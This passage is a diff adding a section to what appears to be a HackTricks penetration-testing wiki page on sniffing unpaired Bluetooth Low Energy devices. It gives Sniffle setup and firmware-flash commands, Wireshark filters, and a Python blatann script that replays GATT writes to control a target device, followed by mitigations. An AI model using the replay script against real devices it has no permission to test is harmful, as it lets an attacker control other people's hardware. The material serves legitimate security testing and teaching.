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Add content from: Start hacking Bluetooth Low Energy today! (part 2)
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@ -70,7 +70,135 @@ sudo bettercap --eval "ble.recon on"
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>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
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```
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## Sniffing and actively controlling unpaired BLE devices
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Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
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### Sniffing with Sniffle (CC26x2/CC1352)
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Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
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Install Sniffle and its Wireshark extcap on Linux:
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```bash
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if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
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echo "[+] - Sniffle not installed! Installing at 1.10.0..."
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sudo mkdir -p /opt/sniffle
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sudo chown -R $USER:$USER /opt/sniffle
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pushd /opt/sniffle
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wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
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tar xvf v1.10.0.tar.gz
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# Install Wireshark extcap for user and root only
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mkdir -p $HOME/.local/lib/wireshark/extcap
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ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
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sudo mkdir -p /root/.local/lib/wireshark/extcap
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sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
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popd
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else
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echo "[+] - Sniffle already installed at 1.10.0"
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fi
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```
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Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
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```bash
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pushd /opt/sniffle/
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wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
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git clone https://github.com/sultanqasim/cc2538-bsl.git
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cd cc2538-bsl
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python3 -m venv .venv
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source .venv/bin/activate
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python3 -m pip install pyserial intelhex
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python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
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deactivate
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popd
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```
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Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
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```text
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_ws.col.info contains "Sent Write Command"
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```
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This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
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Sniffle CLI quick examples:
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```bash
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python3 scanner.py --output scan.pcap
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# Only devices with very strong signal
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python3 scanner.py --rssi -40
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# Filter advertisements containing a string
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python3 sniffer.py --string "banana" --output sniff.pcap
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```
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Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
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### Active control via GATT
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Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
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- With Nordic nRF Connect for Desktop (BLE app):
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- Select the nRF52/nRF52840 dongle, scan and connect to the target.
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- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
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- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
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- Automate on Windows with a Nordic dongle using Python + blatann:
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```python
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import time
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import blatann
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# CONFIG
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COM_PORT = "COM29" # Replace with your COM port
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TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
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target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
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# CONNECT
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ble_device = blatann.BleDevice(COM_PORT)
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ble_device.configure()
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ble_device.open()
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print(f"[-] Connecting to {TARGET_MAC}...")
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peer = ble_device.connect(target_address).wait()
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if not peer:
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print("[!] Connection failed.")
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ble_device.close()
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raise SystemExit(1)
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print("Connected. Discovering services...")
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peer.discover_services().wait(5, exception_on_timeout=False)
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# Example: write 0x01/0x00 to a known handle
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for service in peer.database.services:
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for ch in service.characteristics:
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if ch.handle == 0x000b: # Replace with your handle
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print("[!] Beeping.")
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ch.write(b"\x01")
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time.sleep(2)
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print("[+] And relax.")
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ch.write(b"\x00")
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print("[-] Disconnecting...")
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peer.disconnect()
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peer.wait_for_disconnect()
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ble_device.close()
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```
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### Operational notes and mitigations
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- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
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- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
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- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
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## References
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- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
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- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
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- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
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- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
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- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
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- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
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- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
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{{#include ../../banners/hacktricks-training.md}}
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